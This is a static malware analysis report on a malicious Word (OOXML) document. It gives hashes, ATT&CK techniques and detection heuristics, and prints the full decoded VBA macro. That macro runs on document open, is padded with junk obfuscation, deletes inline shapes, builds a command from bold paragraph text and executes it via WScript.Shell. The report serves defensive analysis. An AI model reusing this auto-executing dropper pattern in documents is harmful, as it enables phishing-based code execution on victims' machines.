Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6d7b383d29daec2e…

MALICIOUS

Office (OOXML)

176.1 KB Created: 2020-04-16 15:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-02
MD5: 7b7e8706f689191628a4eb69fc5bd3b3 SHA-1: da57e781a59eef61622d53e83846b49210ba9c33 SHA-256: 6d7b383d29daec2ee7e8a18c98a0a5832aa9fa935da79315340d0b4034058729
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA project with a Document_Open macro. This macro calls another subroutine which contains obfuscated code and attempts to delete inline shapes within the document. The use of WScript.Shell and CreateObject heuristics, along with the Document_Open macro, indicates malicious intent, likely to prepare the document for further exploitation or to hide malicious content.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set b6yyweff = CreateObject("WScript.Shell")
b6yyweff.Run ilyXTALK, -1
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set b6yyweff = CreateObject("WScript.Shell")
b6yyweff.Run ilyXTALK, -1
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
Call hjnbb
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3789 bytes
SHA-256: dab4ab0a168517304d62221a452e5e6df50442ccb1ac8cb06907164c16998df8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Document_Open()
Call hjnbb
End Sub


Private Sub hjnbb()

If 47.545 + Sin(85.8766) = Log(56.678) + Cos(784.5678) Then




Else

While "ngfdgg" = "hjgfdsgh"
gdfgjkkkd = "gdfhjj"
sdgssRh = "sdghu7t"
Wend

If "so" = "JEIG" Then
While "FHd" = "AAo"
os = "BABn"
fW = "LP"
UHaZ = 346
iULf = 1985
Wend
End If


Dim Words, Chars, MyString
For Words = 10 To 1 Step -1 ' Set up 10 repetitions.
 For Chars = 0 To 9 ' Set up 10 repetitions.
 MyString = MyString & Chars ' Append number to string.
 Next Chars ' Increment counter
 MyString = MyString & " " ' Append a space.
Next Words

Call oAxVRnVv

End If


End Sub




Attribute VB_Name = "wYWPnFDZL"


#If VBA7 Then


#Else


#End If




Public Sub oAxVRnVv()

On Error Resume Next


If 214694325576# > 452569652171# Then


Dim llljtohwwhilzalsb As Long


llljtohwwhilzalsb = (8272 - 5) / 15


If IsDate(pmpvu) And ((584 + 374) / (593 + 107952175)) <> 214694325576# Then

End If



End If


If 107952175 > 1742606361 Then


Dim vgyna As Long


vgynaz = (1742606361 - 374) / 8272


If IsDate(pQS4udMems1WIH1Y) And ((584 + 374) / (593 + 107952175)) <> 214694325576# Then

End If



End If




   Dim myShape As InlineShape
    Dim myRange As Range
    For Each myRange In ActiveDocument.StoryRanges
        For Each myShape In myRange.InlineShapes
            myShape.Delete
        Next myShape
    Next myRange
Dim privadte As String
Dim oRng As Range
Dim oNewRng As Range
Set oRng = Selection.Range '(the formatted range you are wanting to write)
oRng.MoveEndWhile Chr(32), wdBackward 'Remove trailing spaces from the range
Set oNewRng = ActiveDocument.Range 'Locate the range where it is to be written
oNewRng.Collapse wdCollapseEnd
'oNewRng.FormattedText = oRng 'then write it.





 Dim Para As Paragraph
    Dim i As Long

    Application.ScreenUpdating = False
    With ActiveDocument
        For i = .Paragraphs.Count To 1 Step -1
            Set Para = .Paragraphs(i)
            With Para
                If .Range.End - .Range.Start = 1 Then
                    .Range.Delete
                Else
                    .SpaceBefore = 6
                    .SpaceAfter = 6
                End If
            End With
        Next i
    End With
    Application.ScreenUpdating = True




Dim singleLine As Paragraph
   Dim rng As Range
   Dim pos As Integer
    Dim Wrd As Range

   For Each singleLine In ActiveDocument.Paragraphs
      Set rng = singleLine.Range
   
   
    
    
         If rng.Font.Bold Then
            'MsgBox "This is bold"
               lineText = singleLine.Range.Text
          ilyXTALK = ilyXTALK + lineText
        
       ' MsgBox (ilyXTALK)
         End If
     
   Next

If "eyRRxYSoVOJbcmAFdwAoQNVDCoubHYauMgTkqEnOPoiVWxWYHtwHyBaQdNOIdrhwoPPwTP" = "YJmZbfzgESWTNbSvKGDHcpekXH" Then
For fORiW = 25403454 To 488001
xbHnDGPsARr = 93
ZVoIRjSpkX = "QADvcE"
eUMU = "yFTiHrsiJRu"
NdXxhPgOaE = 16397364
nzLnolmWeE = "pCxBLy"
oNyGKizhRx = 30
fF = 26863839
uOgiwE = "wX"
PoqnUzfEhXl = "thocnHUpRy"
yvoRSOunsqD = 6521
Next fORiW
Else
yvoRSOunsqD = 3455
MsgBox (ilyXTALK)
End If

ilyXTALK = Replace(ilyXTALK, "nzfonbrnyalsfyilazhwnontbog", "")

If Log(54.453) = 54.5434 Then

MsgBox (ilyXTALK1)
Else

End If

Set b6yyweff = CreateObject("WScript.Shell")
b6yyweff.Run ilyXTALK, -1


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: 7e12312eeac92ca0c83f5faa9efff9af9b4aaded4b3726f492b8a6c68ba22506

Open this report in the interactive analyzer, or submit your own file for analysis.